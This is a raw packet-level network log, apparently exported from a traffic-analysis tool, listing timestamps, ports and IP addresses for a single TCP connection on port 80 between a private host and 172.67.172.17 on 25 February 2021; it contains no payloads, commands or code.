Feb 25, 2021 15:15:49.427572012 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427588940 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.427589893 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427607059 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427623034 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427635908 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.427639008 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427654982 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427669048 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427670956 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.427700043 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.427725077 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.428339005 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428364992 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428385973 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428410053 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.428415060 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428426027 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428447962 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428466082 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428482056 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428499937 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428507090 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.428517103 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428530931 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428546906 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428555965 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.428590059 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.428917885 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428941011 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428963900 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.428986073 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429004908 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.429008961 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429030895 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429040909 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.429053068 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429064989 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.429076910 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429096937 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429114103 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429117918 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.429128885 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429145098 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429152012 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.429163933 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429179907 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429187059 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.429195881 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429210901 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429214001 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.429227114 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429241896 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429270029 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.429305077 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.429863930 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429887056 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429909945 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429934978 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429950953 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.429959059 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429981947 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.429992914 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.430003881 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430025101 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430033922 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.430043936 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430068016 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430084944 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430099010 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.430099964 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430116892 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430133104 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430138111 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.430150032 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430167913 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430177927 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.430186033 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430202007 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430207014 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.430227041 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.430262089 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.430794954 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430820942 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430844069 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430865049 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430874109 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.430893898 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430911064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430926085 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430929899 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.430938959 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430951118 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430968046 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.430968046 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.430990934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.431005955 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.431006908 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.431030989 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.431075096 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.436446905 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436474085 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436501026 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436522007 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436544895 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436566114 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436578035 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.436590910 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436615944 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436626911 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.436635971 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436657906 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436672926 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.436678886 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436697960 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436713934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436728954 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.436728954 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436743021 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436758041 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436764002 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.436773062 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436784983 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.436784983 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436800957 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436810017 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.436816931 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.436836958 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.436866999 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.437408924 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437431097 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437448978 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437469959 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437488079 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.437493086 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437515020 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437536001 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437546968 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.437556982 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437573910 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.437577963 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437599897 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437608957 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.437618017 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437630892 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437640905 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.437647104 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437661886 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437669039 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.437678099 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437694073 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437711954 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437720060 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.437728882 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.437757015 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.437783957 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.438364029 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438388109 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438410997 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438431978 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438448906 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.438453913 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438476086 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438486099 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.438497066 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438513994 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438524961 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.438529015 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438544989 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438555002 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.438560009 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438575029 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438586950 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.438590050 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.438610077 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.439030886 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439055920 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439078093 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439090967 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.439095974 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439116955 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439119101 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.439136028 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439157009 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439167976 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.439181089 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439203024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439224005 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439229012 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.439245939 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439264059 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439268112 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.439279079 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439294100 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.439297915 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439315081 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439332008 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.439332962 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439349890 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439364910 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.439377069 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.439404011 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.439980984 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440006018 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440025091 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440048933 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440071106 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440073967 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.440093040 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440118074 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440118074 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.440143108 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440165997 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440176964 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.440185070 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440200090 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440202951 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.440218925 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440236092 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440242052 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.440251112 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440265894 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440280914 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440295935 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440295935 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.440310955 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440332890 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.440908909 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440929890 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440946102 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440969944 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.440984011 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.440990925 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441011906 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441034079 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.441034079 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441055059 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441075087 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441090107 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.441102028 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441123009 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441131115 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.441139936 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441155910 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441169977 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.441169977 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441189051 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441205978 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441216946 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.441220045 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441236019 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441247940 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.441274881 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.441879034 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441907883 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441920042 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441942930 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441956997 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.441967010 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.441989899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442003012 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.442007065 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442028999 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442049980 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442060947 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.442070007 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442085028 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442094088 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.442100048 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442117929 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442121029 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.442137957 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442154884 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442169905 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442176104 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.442186117 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442200899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442209959 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.442241907 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.442775965 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442796946 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442815065 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442837000 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442851067 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.442854881 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442876101 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442883968 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.442898035 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442913055 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.442919970 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442938089 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442955017 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442960978 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.442974091 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442989111 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.442997932 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.443022966 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.443468094 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443500042 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443521976 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443548918 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443567038 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.443571091 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443595886 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443598032 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.443618059 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443629026 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.443638086 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443655968 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443665028 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.443676949 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443692923 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443703890 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.443708897 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443733931 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443741083 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.443751097 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443766117 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443788052 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443790913 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.443804026 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443825006 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.443830013 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.443856001 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.444389105 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444412947 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444433928 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444447994 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.444456100 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444478035 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444490910 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.444495916 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444510937 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444528103 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.444530964 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444555998 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.444557905 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444582939 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444607019 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.444619894 CET	49730	80	192.168.2.7	172.67.172.17
